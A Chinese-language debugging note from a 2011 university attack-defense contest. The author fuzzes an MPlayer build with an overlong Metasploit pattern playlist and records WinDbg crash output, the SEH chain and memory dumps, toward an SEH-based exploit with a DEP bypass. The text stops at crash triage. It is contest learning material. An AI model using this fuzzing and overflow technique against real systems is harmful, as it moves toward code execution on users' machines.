2011西电网络攻防大赛 漏洞挖掘题目 调试笔记
睡觉被雷声震醒了,干脆起来玩玩漏洞。
2011年的溢出题目第二题目居然坑爹的绑定在127.0.0.1的地址,这是本地溢出呢还是远程溢出,出题者这是要闹那样。先不看这个了先玩玩那个漏洞挖掘题目。
压缩包里是一个mplayer的播放器,题目说明如下:
安装这个有漏洞的软件
目标:
1.观察软件漏洞出现的原因
2.试图利用软件漏洞完成一个poc
3.要求在win7下关闭UAC完成攻击,绕过DEP(要求在演示exploit之前先展示DEP的开启)
4.要求利用SEH进行漏洞利用
提交答案时,提交屏幕录像和说明文档,其中说明文档占15分,录像15分。
漏洞要自己挖掘,播放器很多出问题的地方在皮肤啊m3u文件啊等等,先生成一个超长字符串的畸形文件fuzz一下。
root@kali:~/Desktop# /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 5000 > ~/Desktop/5k.m3u
0:000> g
ModLoad: 76300000 7631d000 C:/WINDOWS/system32/IMM32.DLL
ModLoad: 62c20000 62c29000 C:/WINDOWS/system32/LPK.DLL
ModLoad: 73fa0000 7400b000 C:/WINDOWS/system32/USP10.dll
ModLoad: 10000000 10035000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/unrar.dll
ModLoad: 74680000 746cb000 C:/WINDOWS/system32/MSCTF.dll
ModLoad: 77bd0000 77bd8000 C:/WINDOWS/system32/version.dll
ModLoad: 73640000 7366e000 C:/WINDOWS/system32/msctfime.ime
ModLoad: 5adc0000 5adf7000 C:/WINDOWS/system32/uxtheme.dll
ModLoad: 5adc0000 5adf7000 C:/WINDOWS/system32/UxTheme.dll
(89c.80): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0022eab4 ecx=ffffffff edx=0022e6c0 esi=7ffddbf8 edi=61423161
eip=7c921278 esp=0022e6ac ebp=0022e6c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlInitAnsiString+0x1b:
7c921278 f2ae repne scas byte ptr es:[edi]
0:000> !exchain
0022ffe0: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:/WINDOWS/system32/kernel32.dll -
kernel32!ValidateLocale+2b0 (7c839af0)
Invalid exception stack at ffffffff
0:000> d fs:[0]
003b:00000000 e0 ff 22 00 00 00 23 00-00 a0 22 00 00 00 00 00 ..”…#…”…..
003b:00000010 00 1e 00 00 00 00 00 00-00 d0 fd 7f 00 00 00 00 …………….
003b:00000020 9c 08 00 00 80 00 00 00-00 00 00 00 88 2c 25 00 ………….,%.
003b:00000030 00 e0 fd 7f 06 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000040 98 64 55 e2 00 00 00 00-00 00 00 00 00 00 00 00 .dU………….
003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000> d 0022ffe0
0022ffe0 ff ff ff ff f0 9a 83 7c-f0 6f 81 7c 00 00 00 00 …….|.o.|….
0022fff0 00 00 00 00 00 00 00 00-40 11 40 00 00 00 00 00 ……..@.@…..
00230000 41 63 74 78 20 00 00 00-01 00 00 00 b8 24 00 00 Actx ……..$..
00230010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 …….. …….
00230020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 …………4…
00230030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 …………….
00230040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 …………….
00230050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 …………….
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0022e6c8 7c81380a 61423161 0022ecbc 00000003 ntdll!RtlInitAnsiString+0x1b
*** ERROR: Module load completed but symbols could not be loaded for image00400000
0022e948 00561818 61423161 0022e974 0022eb88 kernel32!FindFirstFileA+0×21
0022e990 7c9461dc 003e52a0 7c96b1be 003e5338 image00400000+0×161818
0022ea74 7c98e57f 003e0000 00000000 003e52a0 ntdll!iswdigit+0x2bf
0022eaa8 7c98f888 003e0608 61306161 61613161 ntdll!RtlpNtMakeTemporaryKey+0x6bdb
0022eb18 35646134 61366461 64613764 39646138 ntdll!RtlpNtMakeTemporaryKey+0x7ee4
0022eb1c 61366461 64613764 39646138 61306561 <Unloaded_eme.dll>+0×35646133
0022eb20 64613764 39646138 61306561 65613165 0×61366461
0022eb24 39646138 61306561 65613165 33656132 0×64613764
0022eb28 61306561 65613165 33656132 61346561 <Unloaded_eme.dll>+0×39646137
0022eb2c 65613165 33656132 61346561 65613565 0×61306561
0022eb30 33656132 61346561 65613565 37656136 0×65613165
0022eb34 61346561 65613565 37656136 61386561 <Unloaded_eme.dll>+0×33656131
0022eb38 65613565 37656136 61386561 66613965 0×61346561
0022eb3c 37656136 61386561 66613965 31666130 0×65613565
0022eb40 61386561 66613965 31666130 61326661 <Unloaded_eme.dll>+0×37656135
0022eb44 66613965 31666130 61326661 66613366 0×61386561
0022eb48 31666130 61326661 66613366 35666134 0×66613965
0022eb4c 61326661 66613366 35666134 61366661 <Unloaded_eme.dll>+0x3166612f
0022eb50 66613366 35666134 61366661 66613766 0×61326661
0:000> g
(89c.80): Access violation – code c0000005 (!!! second chance !!!)
eax=00000000 ebx=0022eab4 ecx=ffffffff edx=0022e6c0 esi=7ffddbf8 edi=61423161
eip=7c921278 esp=0022e6ac ebp=0022e6c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlInitAnsiString+0x1b:
7c921278 f2ae repne scas byte ptr es:[edi]
0:000> !exchain
0022ffe0: kernel32!ValidateLocale+2b0 (7c839af0)
Invalid exception stack at ffffffff
程序界面已经退出,windbg捕获到程序触发了异常,并进入异常处理流程,可以看到esp附近的指向的内存区域已被我们的特殊字符串覆盖了,栈中的异常处理结构 0022ffe0 并没有被覆盖,我们看一下
0:000> d esp
0022e6ac 74 e9 22 00 a5 e0 80 7c-c0 e6 22 00 61 31 42 61 t.”….|..”.a1Ba
0022e6bc 03 00 00 00 00 00 00 00-61 31 42 61 48 e9 22 00 ……..a1BaH.”.
0022e6cc 0a 38 81 7c 61 31 42 61-bc ec 22 00 03 00 00 00 .8.|a1Ba..”…..
0022e6dc f2 4f 83 7c 00 00 00 00-6a 00 36 00 41 00 6a 00 .O.|….j.6.A.j.
0022e6ec 37 00 41 00 6a 00 38 00-41 00 6a 00 39 00 41 00 7.A.j.8.A.j.9.A.
0022e6fc 6b 00 30 00 41 00 6b 00-00 00 00 00 00 00 00 00 k.0.A.k………
0022e70c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e71c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000> d
0022e72c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e73c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e74c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e75c 00 00 25 00 00 00 00 00-00 00 00 00 00 00 00 00 ..%………….
0022e76c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e77c c0 e6 22 00 00 00 00 00-54 e8 22 00 20 e9 92 7c ..”…..T.”. ..|
0022e78c 60 62 94 7c ff ff ff ff-56 62 94 7c 45 60 94 7c `b.|….Vb.|E`.|
0022e79c 00 00 25 00 60 00 00 40-5d 00 93 7c c0 00 00 00 ..%.`..@]..|….
0:000>
0022e7ac 03 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7bc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7cc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7dc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7ec 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e7fc 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e80c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0022e81c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
0:000>
0022e82c 00 00 25 00 00 00 00 00-00 00 00 00 00 00 00 00 ..%………….
0022e83c 00 00 00 00 00 00 00 00-c0 28 25 00 a8 e8 22 00 ………(%…”.
0022e84c 22 00 fb 7f 01 00 00 00-80 e8 22 00 04 a2 80 7c “………”….|
0022e85c c0 28 25 00 a8 e8 22 00-aa e8 22 00 34 e9 22 00 .(%…”…”.4.”.
0022e86c 37 e9 22 00 00 00 00 00-00 00 00 00 01 00 00 00 7.”………….
0022e87c 01 00 00 00 00 e9 22 00-4b 49 c0 77 a8 03 00 00 ……”.KI.w….
0022e88c 00 00 00 00 a8 e8 22 00-00 00 00 00 34 e9 22 00 ……”…..4.”.
0022e89c 03 00 00 00 01 00 00 00-00 00 00 00 73 00 c0 77 …………s..w
0:000>
0022e8ac e0 4a c0 77 01 00 00 00-98 61 3e 00 53 00 00 00 .J.w…..a>.S…
0022e8bc dc e8 22 00 42 00 00 00-00 00 00 00 00 00 00 00 ..”.B………..
0022e8cc 00 00 00 00 01 00 00 00-01 00 00 00 20 e9 92 7c ………… ..|
0022e8dc c8 00 1a 02 a8 e8 22 00-ac e8 22 00 a8 e8 22 00 ……”…”…”.
0022e8ec f8 db fd 7f e0 ff 22 00-bc ec 22 00 ff ff ff ff ……”…”…..
0022e8fc 48 e9 22 00 9a 58 83 7c-77 ee 80 7c bc ec 22 00 H.”..X.|w..|..”.
0022e90c 03 00 00 00 b4 ea 22 00-38 e9 22 00 3a c9 be 77 ……”.8.”.:..w
0022e91c 98 61 3e 00 3e 00 00 00-01 00 00 00 bc ec 22 00 .a>.>………”.
0:000>
0022e92c 02 00 00 00 08 e9 22 00-02 00 00 00 e0 ff 22 00 ……”…….”.
0022e93c f0 9a 83 7c 80 ee 80 7c-66 ec 00 00 03 00 00 00 …|…|f…….
0022e94c 18 18 56 00 61 31 42 61-74 e9 22 00 88 eb 22 00 ..V.a1Bat.”…”.
0022e95c 20 e9 92 7c 40 f0 98 7c-ff ff ff ff c8 ed 22 00 ..|@..|……”.
0022e96c b4 ea 22 00 90 ab 3e 00-70 14 00 00 ee fe ee fe ..”…>.p…….
0022e97c 00 00 3e 00 a8 97 3e 00-00 00 00 00 74 ea 22 00 ..>…>…..t.”.
0022e98c 00 00 00 00 74 ea 22 00-dc 61 94 7c a0 52 3e 00 ….t.”..a.|.R>.
0022e99c be b1 96 7c 38 53 3e 00-b8 07 00 00 ee fe ee fe …|8S>………
0:000>
0022e9ac 00 00 3e 00 a0 52 3e 00-00 00 00 00 a4 ea 22 00 ..>..R>…….”.
0022e9bc 00 00 00 00 a4 ea 22 00-dc 61 94 7c 00 00 3e 00 ……”..a.|..>.
0022e9cc 56 62 94 7c a0 52 3e 00-00 00 3e 00 a8 52 3e 00 Vb.|.R>…>..R>.
0022e9dc 00 00 00 00 d0 6d 3e 00-00 00 00 00 d4 ea 22 00 …..m>…….”.
0022e9ec 00 00 00 00 a8 52 3e 00-dc 61 94 7c 00 00 3e 00 …..R>..a.|..>.
0022e9fc 48 b7 2c 09 d0 6d 3e 00-a8 97 3e 00 10 41 2a 09 H.,..m>…>..A*.
0022ea0c 78 01 3e 00 f0 3a 29 09-01 00 00 00 78 01 3e 00 x.>..:)…..x.>.
0022ea1c 00 00 00 00 d8 6d 3e 00-ff ff ff ff 20 00 00 00 …..m>….. …
0:000>
0022ea2c 78 01 3e 00 f8 3a 29 09-a0 52 3e 00 88 00 00 00 x.>..:)..R>…..
0022ea3c 18 41 2a 09 56 62 94 7c-01 00 00 00 18 41 2a 09 .A*.Vb.|…..A*.
0022ea4c 00 00 3e 00 00 00 00 00-a8 97 3e 00 00 00 3e 00 ..>…….>…>.
0022ea5c 00 00 00 00 74 ea 22 00-d8 ea 22 00 20 e9 92 7c ….t.”…”. ..|
0022ea6c 00 00 3e 00 56 62 94 7c-a8 ea 22 00 7f e5 98 7c ..>.Vb.|..”….|
0022ea7c 00 00 3e 00 00 00 00 00-a0 52 3e 00 00 00 3e 00 ..>……R>…>.
0022ea8c a8 52 3e 00 a4 ea 22 00-08 eb 22 00 20 e9 92 7c .R>…”…”. ..|
0022ea9c 00 00 00 00 00 00 3e 00-00 00 00 00 18 eb 22 00 ……>…….”.
0:000>
0022eaac 88 f8 98 7c 08 06 3e 00-61 61 30 61 61 31 61 61 …|..>.aa0aa1aa
0022eabc 32 61 61 33 61 61 34 61-61 35 61 61 36 61 61 37 2aa3aa4aa5aa6aa7
0022eacc 61 61 38 61 61 39 61 62-30 61 62 31 61 62 32 61 aa8aa9ab0ab1ab2a
0022eadc 62 33 61 62 34 61 62 35-61 62 36 61 62 37 61 62 b3ab4ab5ab6ab7ab
0022eaec 38 61 62 39 61 63 30 61-63 31 61 63 32 61 63 33 8ab9ac0ac1ac2ac3
0022eafc 61 63 34 61 63 35 61 63-36 61 63 37 61 63 38 61 ac4ac5ac6ac7ac8a
0022eb0c 63 39 61 64 30 61 64 31-61 64 32 61 64 33 61 64 c9ad0ad1ad2ad3ad
0022eb1c 34 61 64 35 61 64 36 61-64 37 61 64 38 61 64 39 4ad5ad6ad7ad8ad9
0:000>
0022eb2c 61 65 30 61 65 31 61 65-32 61 65 33 61 65 34 61 ae0ae1ae2ae3ae4a
0022eb3c 65 35 61 65 36 61 65 37-61 65 38 61 65 39 61 66 e5ae6ae7ae8ae9af
0022eb4c 30 61 66 31 61 66 32 61-66 33 61 66 34 61 66 35 0af1af2af3af4af5
0022eb5c 61 66 36 61 66 37 61 66-38 61 66 39 61 67 30 61 af6af7af8af9ag0a
0022eb6c 67 31 61 67 32 61 67 33-61 67 34 61 67 35 61 67 g1ag2ag3ag4ag5ag
0022eb7c 36 61 67 37 61 67 38 61-67 39 61 68 30 61 68 31 6ag7ag8ag9ah0ah1
0022eb8c 61 68 32 61 68 33 61 68-34 61 68 35 61 68 36 61 ah2ah3ah4ah5ah6a
0022eb9c 68 37 61 68 38 61 68 39-61 69 30 61 69 31 61 69 h7ah8ah9ai0ai1ai
0:000>
0022ebac 32 61 69 33 61 69 34 61-69 35 61 69 36 61 69 37 2ai3ai4ai5ai6ai7
0022ebbc 61 69 38 61 69 39 61 6a-30 61 6a 31 61 6a 32 61 ai8ai9aj0aj1aj2a
0022ebcc 6a 33 61 6a 34 61 6a 35-61 6a 36 61 6a 37 61 6a j3aj4aj5aj6aj7aj
0022ebdc 38 61 6a 39 61 6b 30 61-6b 00 41 6b 32 41 6b 33 8aj9ak0ak.Ak2Ak3
0022ebec 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4Ak5Ak6Ak7Ak8A
0022ebfc 6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c k9Al0Al1Al2Al3Al
0022ec0c 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9
0022ec1c 41 6d 30 41 6d 31 41 6d-32 41 6d 33 41 6d 34 41 Am0Am1Am2Am3Am4A
0:000>
0022ec2c 6d 35 41 6d 36 41 6d 37-41 6d 38 41 6d 39 41 6e m5Am6Am7Am8Am9An
0022ec3c 30 41 6e 31 41 6e 32 41-6e 33 41 6e 34 41 6e 35 0An1An2An3An4An5
0022ec4c 41 6e 36 41 6e 37 41 6e-38 41 6e 39 41 6f 30 41 An6An7An8An9Ao0A
0022ec5c 6f 31 41 6f 32 41 6f 33-41 6f 34 41 6f 35 41 6f o1Ao2Ao3Ao4Ao5Ao
0022ec6c 36 41 6f 37 41 6f 38 41-6f 39 41 70 30 41 70 31 6Ao7Ao8Ao9Ap0Ap1
0022ec7c 41 70 32 41 70 33 41 70-34 41 70 35 41 70 36 41 Ap2Ap3Ap4Ap5Ap6A
0022ec8c 70 37 41 70 38 41 70 39-41 71 30 41 71 31 41 71 p7Ap8Ap9Aq0Aq1Aq
0022ec9c 32 41 71 33 41 71 34 41-71 35 41 71 36 41 71 37 2Aq3Aq4Aq5Aq6Aq7
0:000>
0022ecac 41 71 38 41 71 39 41 72-30 41 72 31 41 72 32 41 Aq8Aq9Ar0Ar1Ar2A
0022ecbc 38 73 3e 00 34 41 72 35-41 72 36 41 72 37 41 72 8s>.4Ar5Ar6Ar7Ar
0022eccc 38 41 72 39 41 73 30 41-73 31 41 73 32 41 73 33 8Ar9As0As1As2As3
0022ecdc 41 73 34 41 73 35 41 73-36 41 73 37 41 73 38 41 As4As5As6As7As8A
0022ecec 73 39 41 74 30 41 74 31-41 74 32 41 74 33 41 74 s9At0At1At2At3At
0022ecfc 34 41 74 35 41 74 36 41-74 37 41 74 38 41 74 39 4At5At6At7At8At9
0022ed0c 41 75 30 41 75 31 41 75-32 41 75 33 41 75 34 41 Au0Au1Au2Au3Au4A
0022ed1c 75 35 41 75 36 41 75 37-41 75 38 41 75 39 41 76 u5Au6Au7Au8Au9Av
0:000>
0022ed2c 30 41 76 31 41 76 32 41-76 33 41 76 34 41 76 35 0Av1Av2Av3Av4Av5
0022ed3c 41 76 36 41 76 37 41 76-38 41 76 39 41 77 30 41 Av6Av7Av8Av9Aw0A
0022ed4c 77 31 41 77 32 41 77 33-41 77 34 41 77 35 41 77 w1Aw2Aw3Aw4Aw5Aw
0022ed5c 36 41 77 37 41 77 38 41-77 39 41 78 30 41 78 31 6Aw7Aw8Aw9Ax0Ax1
0022ed6c 41 78 32 41 78 33 41 78-34 41 78 35 41 78 36 41 Ax2Ax3Ax4Ax5Ax6A
0022ed7c 78 37 41 78 38 41 78 39-41 79 30 41 79 31 41 79 x7Ax8Ax9Ay0Ay1Ay
0022ed8c 32 41 79 33 41 79 34 41-79 35 41 79 36 41 79 37 2Ay3Ay4Ay5Ay6Ay7
0022ed9c 41 79 38 41 79 39 41 7a-30 41 7a 31 41 7a 32 41 Ay8Ay9Az0Az1Az2A
0:000>
0022edac 7a 33 41 7a 34 41 7a 35-41 7a 36 41 7a 37 41 7a z3Az4Az5Az6Az7Az
0022edbc 38 41 7a 39 42 61 30 42-61 31 42 61 32 42 61 33 8Az9Ba0Ba1Ba2Ba3
0022edcc 42 61 34 42 61 35 42 61-36 42 61 37 42 61 38 42 Ba4Ba5Ba6Ba7Ba8B
0022eddc 61 39 42 62 30 42 62 31-42 62 32 42 62 33 42 62 a9Bb0Bb1Bb2Bb3Bb
0022edec 34 42 62 35 42 62 36 42-62 37 42 62 38 42 62 39 4Bb5Bb6Bb7Bb8Bb9
0022edfc 42 63 30 42 63 31 42 63-32 42 63 33 42 63 34 42 Bc0Bc1Bc2Bc3Bc4B
0022ee0c 63 35 42 63 36 42 63 37-42 63 38 42 63 39 42 64 c5Bc6Bc7Bc8Bc9Bd
0022ee1c 30 42 64 31 42 64 32 42-64 33 42 64 34 42 64 35 0Bd1Bd2Bd3Bd4Bd5
0:000>
0022ee2c 42 64 36 42 64 37 42 64-38 42 64 39 42 65 30 42 Bd6Bd7Bd8Bd9Be0B
0022ee3c 65 31 42 65 32 42 65 33-42 65 34 42 65 35 42 65 e1Be2Be3Be4Be5Be
0022ee4c 36 42 65 37 42 65 38 42-65 39 42 66 30 42 66 31 6Be7Be8Be9Bf0Bf1
0022ee5c 42 66 32 42 66 33 42 66-34 42 66 35 42 66 36 42 Bf2Bf3Bf4Bf5Bf6B
0022ee6c 66 37 42 66 38 42 66 39-42 67 30 42 67 31 42 67 f7Bf8Bf9Bg0Bg1Bg
0022ee7c 32 42 67 33 42 67 34 42-67 35 42 67 36 42 67 37 2Bg3Bg4Bg5Bg6Bg7
0022ee8c 42 67 38 42 67 39 42 68-30 42 68 31 42 68 32 42 Bg8Bg9Bh0Bh1Bh2B
0022ee9c 68 33 42 68 34 42 68 35-42 68 36 42 68 37 42 68 h3Bh4Bh5Bh6Bh7Bh
0:000>
0022eeac 38 42 68 39 42 69 30 42-69 31 42 69 32 42 69 33 8Bh9Bi0Bi1Bi2Bi3
0022eebc 42 69 34 42 69 35 42 69-36 42 69 37 42 69 38 42 Bi4Bi5Bi6Bi7Bi8B
0022eecc 69 39 42 6a 30 42 6a 31-42 6a 32 42 6a 33 42 6a i9Bj0Bj1Bj2Bj3Bj
0022eedc 34 42 6a 35 42 6a 36 42-6a 37 42 6a 38 42 6a 39 4Bj5Bj6Bj7Bj8Bj9
0022eeec 42 6b 30 42 6b 31 42 6b-32 42 6b 33 42 6b 34 42 Bk0Bk1Bk2Bk3Bk4B
0022eefc 6b 35 42 6b 36 42 6b 37-42 6b 38 42 6b 39 42 6c k5Bk6Bk7Bk8Bk9Bl
0022ef0c 30 42 6c 31 42 6c 32 42-6c 33 42 6c 34 42 6c 35 0Bl1Bl2Bl3Bl4Bl5
0022ef1c 42 6c 36 42 6c 37 42 6c-38 42 6c 39 42 6d 30 42 Bl6Bl7Bl8Bl9Bm0B
0:000>
0022ef2c 6d 31 42 6d 32 42 6d 33-42 6d 34 42 6d 35 42 6d m1Bm2Bm3Bm4Bm5Bm
0022ef3c 36 42 6d 37 42 6d 38 42-6d 39 42 6e 30 42 6e 31 6Bm7Bm8Bm9Bn0Bn1
0022ef4c 42 6e 32 42 6e 33 42 6e-34 42 6e 35 42 6e 36 42 Bn2Bn3Bn4Bn5Bn6B
0022ef5c 6e 37 42 6e 38 42 6e 39-42 6f 30 42 6f 31 42 6f n7Bn8Bn9Bo0Bo1Bo
0022ef6c 32 42 6f 33 42 6f 34 42-6f 35 42 6f 36 42 6f 37 2Bo3Bo4Bo5Bo6Bo7
0022ef7c 42 6f 38 42 6f 39 42 70-30 42 70 31 42 70 32 42 Bo8Bo9Bp0Bp1Bp2B
0022ef8c 70 33 42 70 34 42 70 35-42 70 36 42 70 37 42 70 p3Bp4Bp5Bp6Bp7Bp
0022ef9c 38 42 70 39 42 71 30 42-71 31 42 71 32 42 71 33 8Bp9Bq0Bq1Bq2Bq3
0:000>
0022efac 42 71 34 42 71 35 42 71-36 42 71 37 42 71 38 42 Bq4Bq5Bq6Bq7Bq8B
0022efbc 71 39 42 72 30 42 72 31-42 72 32 42 72 33 42 72 q9Br0Br1Br2Br3Br
0022efcc 34 42 72 35 42 72 36 42-72 37 42 72 38 42 72 39 4Br5Br6Br7Br8Br9
0022efdc 42 73 30 42 73 31 42 73-32 42 73 33 42 73 34 42 Bs0Bs1Bs2Bs3Bs4B
0022efec 73 35 42 73 36 42 73 37-42 73 38 42 73 39 42 74 s5Bs6Bs7Bs8Bs9Bt
0022effc 30 42 74 31 42 74 32 42-74 33 42 74 34 42 74 35 0Bt1Bt2Bt3Bt4Bt5
0022f00c 42 74 36 42 74 37 42 74-38 42 74 39 42 75 30 42 Bt6Bt7Bt8Bt9Bu0B
0022f01c 75 31 42 75 32 42 75 33-42 75 34 42 75 35 42 75 u1Bu2Bu3Bu4Bu5Bu
0:000>
0022f02c 36 42 75 37 42 75 38 42-75 39 42 76 30 42 76 31 6Bu7Bu8Bu9Bv0Bv1
0022f03c 42 76 32 42 76 33 42 76-34 42 76 35 42 76 36 42 Bv2Bv3Bv4Bv5Bv6B
0022f04c 76 37 42 76 38 42 76 39-42 77 30 42 77 31 42 77 v7Bv8Bv9Bw0Bw1Bw
0022f05c 32 42 77 33 42 77 34 42-77 35 42 77 36 42 77 37 2Bw3Bw4Bw5Bw6Bw7
0022f06c 42 77 38 42 77 39 42 78-30 42 78 31 42 78 32 42 Bw8Bw9Bx0Bx1Bx2B
0022f07c 78 33 42 78 34 42 78 35-42 78 36 42 78 37 42 78 x3Bx4Bx5Bx6Bx7Bx
0022f08c 38 42 78 39 42 79 30 42-79 31 42 79 32 42 79 33 8Bx9By0By1By2By3
0022f09c 42 79 34 42 79 35 42 79-36 42 79 37 42 79 38 42 By4By5By6By7By8B
0:000>
0022f0ac 79 39 42 7a 30 42 7a 31-42 7a 32 42 7a 33 42 7a y9Bz0Bz1Bz2Bz3Bz
0022f0bc 34 42 7a 35 42 7a 36 42-7a 37 42 7a 38 42 7a 39 4Bz5Bz6Bz7Bz8Bz9
0022f0cc 43 61 30 43 61 31 43 61-32 43 61 33 43 61 34 43 Ca0Ca1Ca2Ca3Ca4C
0022f0dc 61 35 43 61 36 43 61 37-43 61 38 43 61 39 43 62 a5Ca6Ca7Ca8Ca9Cb
0022f0ec 30 43 62 31 43 62 32 43-62 33 43 62 34 43 62 35 0Cb1Cb2Cb3Cb4Cb5
0022f0fc 43 62 36 43 62 37 43 62-38 43 62 39 43 63 30 43 Cb6Cb7Cb8Cb9Cc0C
0022f10c 63 31 43 63 32 43 63 33-43 63 34 43 63 35 43 63 c1Cc2Cc3Cc4Cc5Cc
0022f11c 36 43 63 37 43 63 38 43-63 39 43 64 30 43 64 31 6Cc7Cc8Cc9Cd0Cd1
0:000>
0022f12c 43 64 32 43 64 33 43 64-34 43 64 35 43 64 36 43 Cd2Cd3Cd4Cd5Cd6C
0022f13c 64 37 43 64 38 43 64 39-43 65 30 43 65 31 43 65 d7Cd8Cd9Ce0Ce1Ce
0022f14c 32 43 65 33 43 65 34 43-65 35 43 65 36 43 65 37 2Ce3Ce4Ce5Ce6Ce7
0022f15c 43 65 38 43 65 39 43 66-30 43 66 31 43 66 32 43 Ce8Ce9Cf0Cf1Cf2C
0022f16c 66 33 43 66 34 43 66 35-43 66 36 43 66 37 43 66 f3Cf4Cf5Cf6Cf7Cf
0022f17c 38 43 66 39 43 67 30 43-67 31 43 67 32 43 67 33 8Cf9Cg0Cg1Cg2Cg3
0022f18c 43 67 34 43 67 35 43 67-36 43 67 37 43 67 38 43 Cg4Cg5Cg6Cg7Cg8C
0022f19c 67 39 43 68 30 43 68 31-43 68 32 43 68 33 43 68 g9Ch0Ch1Ch2Ch3Ch
0:000>
0022f1ac 34 43 68 35 43 68 36 43-68 37 43 68 38 43 68 39 4Ch5Ch6Ch7Ch8Ch9
0022f1bc 43 69 30 43 69 31 43 69-32 43 69 33 43 69 34 43 Ci0Ci1Ci2Ci3Ci4C
0022f1cc 69 35 43 69 36 43 69 37-43 69 38 43 69 39 43 6a i5Ci6Ci7Ci8Ci9Cj
0022f1dc 30 43 6a 31 43 6a 32 43-6a 33 43 6a 34 43 6a 35 0Cj1Cj2Cj3Cj4Cj5
0022f1ec 43 6a 36 43 6a 37 43 6a-38 43 6a 39 43 6b 30 43 Cj6Cj7Cj8Cj9Ck0C
0022f1fc 6b 31 43 6b 32 43 6b 33-43 6b 34 43 6b 35 43 6b k1Ck2Ck3Ck4Ck5Ck
0022f20c 36 43 6b 37 43 6b 38 43-6b 39 43 6c 30 43 6c 31 6Ck7Ck8Ck9Cl0Cl1
0022f21c 43 6c 32 43 6c 33 43 6c-34 43 6c 35 43 6c 36 43 Cl2Cl3Cl4Cl5Cl6C
0:000>
0022f22c 6c 37 43 6c 38 43 6c 39-43 6d 30 43 6d 31 43 6d l7Cl8Cl9Cm0Cm1Cm
0022f23c 32 43 6d 33 43 6d 34 43-6d 35 43 6d 36 43 6d 37 2Cm3Cm4Cm5Cm6Cm7
0022f24c 43 6d 38 43 6d 39 43 6e-30 43 6e 31 43 6e 32 43 Cm8Cm9Cn0Cn1Cn2C
0022f25c 6e 33 43 6e 34 43 6e 35-43 6e 36 43 6e 37 43 6e n3Cn4Cn5Cn6Cn7Cn
0022f26c 38 43 6e 39 43 6f 30 43-6f 31 43 6f 32 43 6f 33 8Cn9Co0Co1Co2Co3
0022f27c 43 6f 34 43 6f 35 43 6f-36 43 6f 37 43 6f 38 43 Co4Co5Co6Co7Co8C
0022f28c 6f 39 43 70 30 43 70 31-43 70 32 43 70 33 43 70 o9Cp0Cp1Cp2Cp3Cp
0022f29c 34 43 70 35 43 70 36 43-70 37 43 70 38 43 70 39 4Cp5Cp6Cp7Cp8Cp9
0:000>
0022f2ac 43 71 30 43 71 31 43 71-32 43 71 33 43 71 34 43 Cq0Cq1Cq2Cq3Cq4C
0022f2bc 71 35 43 71 36 43 71 37-43 71 38 43 71 39 43 72 q5Cq6Cq7Cq8Cq9Cr
0022f2cc 30 43 72 31 43 72 32 43-72 33 43 72 34 43 72 35 0Cr1Cr2Cr3Cr4Cr5
0022f2dc 43 72 36 43 72 37 43 72-38 43 72 39 43 73 30 43 Cr6Cr7Cr8Cr9Cs0C
0022f2ec 73 31 43 73 32 43 73 33-43 73 34 43 73 35 43 73 s1Cs2Cs3Cs4Cs5Cs
0022f2fc 36 43 73 37 43 73 38 43-73 39 43 74 30 43 74 31 6Cs7Cs8Cs9Ct0Ct1
0022f30c 43 74 32 43 74 33 43 74-34 43 74 35 43 74 36 43 Ct2Ct3Ct4Ct5Ct6C
0022f31c 74 37 43 74 38 43 74 39-43 75 30 43 75 31 43 75 t7Ct8Ct9Cu0Cu1Cu
0:000>
0022f32c 32 43 75 33 43 75 34 43-75 35 43 75 36 43 75 37 2Cu3Cu4Cu5Cu6Cu7
0022f33c 43 75 38 43 75 39 43 76-30 43 76 31 43 76 32 43 Cu8Cu9Cv0Cv1Cv2C
0022f34c 76 33 43 76 34 43 76 35-43 76 36 43 76 37 43 76 v3Cv4Cv5Cv6Cv7Cv
0022f35c 38 43 76 39 43 77 30 43-77 31 43 77 32 43 77 33 8Cv9Cw0Cw1Cw2Cw3
0022f36c 43 77 34 43 77 35 43 77-36 43 77 37 43 77 38 43 Cw4Cw5Cw6Cw7Cw8C
